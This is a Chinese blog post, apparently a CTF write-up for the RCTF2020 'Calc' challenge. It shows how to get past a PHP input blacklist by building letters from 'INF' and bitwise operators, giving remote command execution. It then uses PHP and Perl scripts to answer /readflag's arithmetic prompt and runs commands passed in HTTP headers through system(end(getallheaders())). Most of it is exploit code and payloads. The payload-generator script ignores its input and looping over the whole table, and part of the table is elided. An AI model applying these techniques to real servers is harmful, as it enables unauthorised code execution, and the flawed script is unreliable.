CTF Web安全

RCTF2020 Calc(数字webshell以及php交互)

Posted on 2020-05-31,4 min read

访问calc.php得到源码

['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ',']
不允许出现a-z以及一些不可见字符。等

但是这里还允许数字。括号。点。|&

可以利用1/0。得到一个字符串INF。然后通过拼接使其变成字符串。并用{}截取第一个。就能得到字符串。

192.168.0.144/1.php?num=((1/0).(0)){0}
(1/0)
//INF
(1/0).(0)
//INF0
((1/0).(0)){0}
//'INF0'{0}=I

现在有了字符串INF以及012345678910 -10数字
可以通过|和&。得到新的字符
具体fuzz如下

import requests
s='abcdefghijkmnklopqrstuvwxyz{} /!-&%()?:;<>='
#把已经有的字符串加进入。一开始是INF
for a in s:
	for b in s:
		url="http://192.168.0.144/1.php?num='"+str(a)+"'%26'"+str(b)+"'"
		#修改中间的&和|。得到新字符
		result=requests.get(url).text
		print(str(a)+' & '+str(b)+' = '+result)

通过这种方式。我们fuzz得到了26个字母以及符号等
接下来写个脚本。我们输入。然后将对应的字符换成payload

import sys
import requests
data={
"m":"((((1/0).(0)){0})|(((-10).(0)){0}))",
"y":"((((1/0).(0)){0})|(((1).(0)){0}))",
"{":"((((1/0).(0)){0})|(((2).(0)){0}))",
"}":"((((1/0).(0)){0})|(((5).(0)){0}))",
...........................................................................
}
payload=''
input=sys.argv[1]
for i in data:
	payload+=data[i]
print(payload)

将生成的payload。(system的payload)(ls的payload)
即可执行命令。发现根目录有个/readflag。需要做算术题。但是弹不了shell。只能通过php。perl去与程序交互。
参考MiniLctf的一题writeup
https://github.com/XDSEC/MiniLCTF_2020/tree/master/challenges/web/%E7%AD%BE%E5%88%B0%E9%A2%98
构造出脚本。

<?php
$d = array(array("pipe", "r"),array("pipe", "w"),array("pipe", "w"));
$p = proc_open('/readflag', $d, $pipes, '/');
if (is_resource($p)) {
        $t = fgets($pipes[1]);
        #读取一行内容。程序有\n就结束
        $t = fgets($pipes[1]);
        #继续读取一行
        $expression = 'return '.str_replace('=','',substr($t, 0, 10)).';';
        #将读取的内容。也就是运算表达式。进行eval执行。返回结果
        fwrite($pipes[0], eval($expression)."\n");    
        #将返回的结果写入管道
        echo stream_get_contents($pipes[1]);
}

将其base64加密后echo xxxx|base64 -d | php
结果又出了问题。payload过长。GET请求是有长度限制的。
那么只能通过代码执行。重新开个命令执行的地方。
system(end(getallheaders()))
然后在HTTP请求中进行命令执行。

顺带纪录下Mrkaixin大师傅的脚本

#!/usr/local/bin/perl
use strict;
use IPC::Open3;

my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' )
  or die "open3() failed $!";

my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = eval "$r";
print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";

下一篇: 网鼎杯(redis 带口令的主从复制RCE)→